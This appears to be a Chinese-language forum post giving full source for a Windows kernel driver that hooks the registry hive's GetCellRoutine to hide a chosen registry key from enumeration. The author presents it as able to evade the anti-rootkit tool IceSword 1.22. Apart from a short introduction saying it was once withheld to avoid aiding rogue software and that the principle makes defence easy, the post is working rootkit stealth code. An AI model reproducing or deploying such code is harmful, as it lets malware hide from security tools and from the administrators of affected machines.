发一段隐藏注册表项的驱动代码，可以过目前最新的IceSword1.22

以前驱动开发网悬赏挑战IceSword时写的，不过最后没公开。那时流氓软件势头正劲，我可不想火上浇油。现在反流氓软件日渐成熟，也就没关系了。知道了原理，防御是非常容易的。

原理很简单，实现的代码也很短，啥都不用说，各位直接看示例代码吧。

#include <ntddk.h>

#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

#define CM_KEY_INDEX_ROOT 0x6972 // ir

#define CM_KEY_INDEX_LEAF 0x696c // il

#define CM_KEY_FAST_LEAF 0x666c // fl

#define CM_KEY_HASH_LEAF 0x686c // hl

// 一些CM的数据结构，只列出用到的开头部分

#pragma pack(1)

typedef struct _CM_KEY_NODE {

USHORT Signature;

USHORT Flags;

LARGE_INTEGER LastWriteTime;

ULONG Spare; // used to be TitleIndex

HANDLE Parent;

ULONG SubKeyCounts[2]; // Stable and Volatile

HANDLE SubKeyLists[2]; // Stable and Volatile

// ...

} CM_KEY_NODE, *PCM_KEY_NODE;

typedef struct _CM_KEY_INDEX {

USHORT Signature;

USHORT Count;

HANDLE List[1];

} CM_KEY_INDEX, *PCM_KEY_INDEX;

typedef struct _CM_KEY_BODY {

ULONG Type; // "ky02"

PVOID KeyControlBlock;

PVOID NotifyBlock;

PEPROCESS Process; // the owner process

LIST_ENTRY KeyBodyList; // key_nodes using the same kcb

} CM_KEY_BODY, *PCM_KEY_BODY;

typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef struct _HHIVE {

ULONG Signature;

PGET_CELL_ROUTINE GetCellRoutine;

// ...

} HHIVE, *PHHIVE;

#pragma pack()

// 需隐藏的主键名

WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";

PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;

PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;

PCM_KEY_NODE g_HideNode = NULL;

PCM_KEY_NODE g_LastNode = NULL;

// 打开指定名字的Key

HANDLE OpenKeyByName(PCWSTR pwcsKeyName)

{

NTSTATUS status;

UNICODE_STRING uKeyName;

OBJECT_ATTRIBUTES oa;

HANDLE hKey;

RtlInitUnicodeString(&uKeyName, pwcsKeyName);

InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

status = ZwOpenKey(&hKey, KEY_READ, &oa);

if (!NT_SUCCESS(status))

{

DbgPrint("ZwOpenKey Failed: %lx\n", status);

return NULL;

}

return hKey;

}

// 获取指定Key句柄的KeyControlBlock

PVOID GetKeyControlBlock(HANDLE hKey)

{

NTSTATUS status;

PCM_KEY_BODY KeyBody;

PVOID KCB;

if (hKey == NULL) return NULL;

// 由Key句柄获取对象体

status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);

if (!NT_SUCCESS(status))

{

DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);

return NULL;

}

// 对象体中含有KeyControlBlock

KCB = KeyBody->KeyControlBlock;

DbgPrint("KeyControlBlock = %lx\n", KCB);

ObDereferenceObject(KeyBody);

return KCB;

}

// 获取父键的最后一个子键的节点

PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)

{

// 获取父键的节点

PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);

// 获取子键的索引

PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);

// 如果为根(二级)索引，获取最后一个索引

if (Index->Signature == CM_KEY_INDEX_ROOT)

{

Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);

DbgPrint("Index = %lx\n", Index);

}

if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)

{

// 快速叶索引(2k)或散列叶索引(XP/2k3)，返回最后的节点

return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);

}

else

{

// 一般叶索引，返回最后的节点

return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);

}

}

// GetCell例程的钩子函数

PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)

{

// 调用原函数

PVOID pRet = g_pGetCellRoutine(Hive, Cell);

if (pRet)

{

// 返回的是需要隐藏的节点

if (pRet == g_HideNode)

{

DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);

// 查询、保存并返回其父键的最后一个子键的节点

pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);

DbgPrint("g_LastNode = %lx\n", g_LastNode);

// 隐藏的正是最后一个节点，返回空值

if (pRet == g_HideNode) pRet = NULL;

}

// 返回的是先前保存的最后一个节点

else if (pRet == g_LastNode)

{

DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);

// 清空保存值，并返回空值

pRet = g_LastNode = NULL;

}

}

return pRet;

}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)

{

DbgPrint("DriverUnload()\n");

// 解除挂钩

if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;

return STATUS_SUCCESS;

}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)

{

ULONG BuildNumber;

ULONG KeyHiveOffset; // KeyControlBlock->KeyHive

ULONG KeyCellOffset; // KeyControlBlock->KeyCell

HANDLE hKey;

PVOID KCB, Hive;

DbgPrint("DriverEntry()\n");

pDrvObj->DriverUnload = DriverUnload;

// 查询BuildNumber

if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;

DbgPrint("BuildNumber = %d\n", BuildNumber);

// KeyControlBlock结构各版本略有不同

// Cell的值一般小于0x80000000，而Hive正相反，以此来判断也可以

switch (BuildNumber)

{

case 2195: // Win2000

KeyHiveOffset = 0xc;

KeyCellOffset = 0x10;

break;

case 2600: // WinXP

case 3790: // Win2003

KeyHiveOffset = 0x10;

KeyCellOffset = 0x14;

break;

default:

return STATUS_NOT_SUPPORTED;

}

// 打开需隐藏的键

hKey = OpenKeyByName(g_HideKeyName);

// 获取该键的KeyControlBlock

KCB = GetKeyControlBlock(hKey);

if (KCB)

{

// 由KCB得到Hive

PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);

// GetCellRoutine在KCB中，保存原地址

g_ppGetCellRoutine = &Hive->GetCellRoutine;

g_pGetCellRoutine = Hive->GetCellRoutine;

DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);

// 获取需隐藏的节点并保存

g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));

// 挂钩GetCell例程

Hive->GetCellRoutine = MyGetCellRoutine;

}

ZwClose(hKey);

return STATUS_SUCCESS;

}